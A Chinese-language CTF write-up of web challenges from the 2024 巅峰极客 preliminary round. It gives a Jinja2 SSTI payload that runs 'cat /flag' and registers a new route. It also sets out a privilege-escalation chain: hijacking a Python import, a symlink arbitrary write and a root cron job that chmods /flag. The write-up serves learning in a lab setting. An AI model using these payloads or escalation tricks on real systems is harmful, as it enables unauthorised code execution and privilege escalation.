2024 巅峰极客初赛 web
感谢A1natas的小伙伴 这次我们A1natas 获得了第19名 决赛见
EncirclingGame 签到 直接玩游戏就行 队友玩了会就穿了
GoldenHornKing 贴一下payload
1 lipsum.__globals__['__builtins__' ]['eval' ]("app.add_api_route('/shell',lambda:result ,methods=['GET'])" ,{'app' :app,'result' :lipsum.__globals__.get("os" ).popen("cat /flag" ).read()})
源代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import osimport jinja2import functoolsimport uvicornfrom fastapi import FastAPIfrom fastapi.templating import Jinja2Templatesfrom anyio import fail_after, sleepdef timeout_after (timeout: int = 1 ): def decorator (func ): @functools.wraps(func ) async def wrapper (*args, **kwargs ): with fail_after(timeout): return await func(*args, **kwargs) return wrapper return decorator app = FastAPI() access = False _base_path = os.path.dirname(os.path.abspath(__file__)) t = Jinja2Templates(directory=_base_path) @app.get("/" ) @timeout_after(1 ) async def index (): return open (__file__, 'r' ).read() @app.get("/calc" ) @timeout_after(1 ) async def ssti (calc_req: str ): global access if (any (char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access: return "bad char" else : jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}" ).render({"app" : app}) access = True return "fight" if __name__ == "__main__" : uvicorn.run(app, host="0.0.0.0" , port=8000 )
赛后分析
ssti这里存在过滤
创建了一个Jinja2的环境对象,然后这里调用Jinja2模板对象 处理字符串模板
ssti直接注入是没啥问题的
环境不出王 这里利用的fastapi 使得这里的路由产生了变化
原先在flask里面的路由是用 add_url_rule添加路由,现在得用add_api_route添加路由
值得注意的是 每次执行命令成功都要重启一次靶机()
所以只有一次机会 写入内存马也行
php_online
这题折磨了我好久 欸
给了源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from flask import Flask, request, session, redirect, url_for, render_templateimport osimport secretsapp = Flask(__name__) app.secret_key = secrets.token_hex(16 ) working_id = [] @app.route('/' , methods=['GET' , 'POST' ] ) def index (): if request.method == 'POST' : id = request.form['id' ] if not id .isalnum() or len (id ) != 8 : return '无效的ID' session['id' ] = id if not os.path.exists(f'/sandbox/{id } ' ): os.popen(f'mkdir /sandbox/{id } && chown www-data /sandbox/{id } && chmod a+w /sandbox/{id } ' ).read() return redirect(url_for('sandbox' )) return render_template('submit_id.html' ) @app.route('/sandbox' , methods=['GET' , 'POST' ] ) def sandbox (): if request.method == 'GET' : if 'id' not in session: return redirect(url_for('index' )) else : return render_template('submit_code.html' ) if request.method == 'POST' : if 'id' not in session: return 'no id' user_id = session['id' ] if user_id in working_id: return 'task is still running' else : working_id.append(user_id) code = request.form.get('code' ) os.popen(f'cd /sandbox/{user_id} && rm *' ).read() os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id} /init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py' ).read() os.popen(f'rm -rf /sandbox/{user_id} /phpcode' ).read() php_file = open (f'/sandbox/{user_id} /phpcode' , 'w' ) php_file.write(code) php_file.close() result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode' ).read() os.popen(f'cd /sandbox/{user_id} && rm *' ).read() working_id.remove(user_id) return result if __name__ == '__main__' : app.run(debug=False , host='0.0.0.0' , port=80 )
这里可以执行任意代码 我们弹个shell到自己机子上方便操作
import logging 提权 此时的权限是nobody 几乎什么权限都没有 只有在user_id文件夹下有权限
注意到
这里吧一个init.py给读取到运行目录下 然后使用wwwdata的权限执行了
我们对这个目录是有权限的 init文件内容如下
1 2 import logginglogger.info('Code execution start' )
这里导入了一个logging包 可以创建一个同名的包 里面的__init__.py文件写入我们的恶意code 这样import就会执行这个init
然后成功提权到wwwdata 此用户在sandbox下有完全权限
注意到
这里尝试在/sandbox/{user_id}目录下写入一个phpcode 然后尝试低权限 执行结束之后就删除文件
任意文件写入 如果我们创建一个软连接/user_id 指向一个目录 我们就可以实现用root权限任意文件写入
1 ln -s /path/to/write /sandbox/user_id
注意到存在/etc/cron.d 此目录下文件会被作为定时任务加载 可以尝试使用定时任务提权
但是这里写入之后执行立刻被删除 我最开始想到的是条件竞争
用发包在/etc/cron.d/phpcode 目录下写入
1 */1 * * * * root chmod 777 /flag
然后不停发包 等待竞争成功
然后在发了13w个包之后 我放弃了。。。。
尝试用这个包持久化
注意到他必须先执行完在删除
如果我能让他执行的慢一点 就能完成持久化写入
持久化写入 在cron任务中 唯一的注释是#
我使用# ?><?php {code} 就可以成功执行代码
直接写入
1 2 #?> <?php sleep(10000);?> # */1 * * * * root chmod 777 /flag
这样就能成功持久化
但是依旧不能执行 我不理解为什么 这里硬控了我6小时
直到我发现 注释换一下就能执行(柠檬
定时任务提权 最后就是先创建软连接
然后写入任务
成功写入
reload一下cron(意义不明的操作)
等待执行之后 得到flag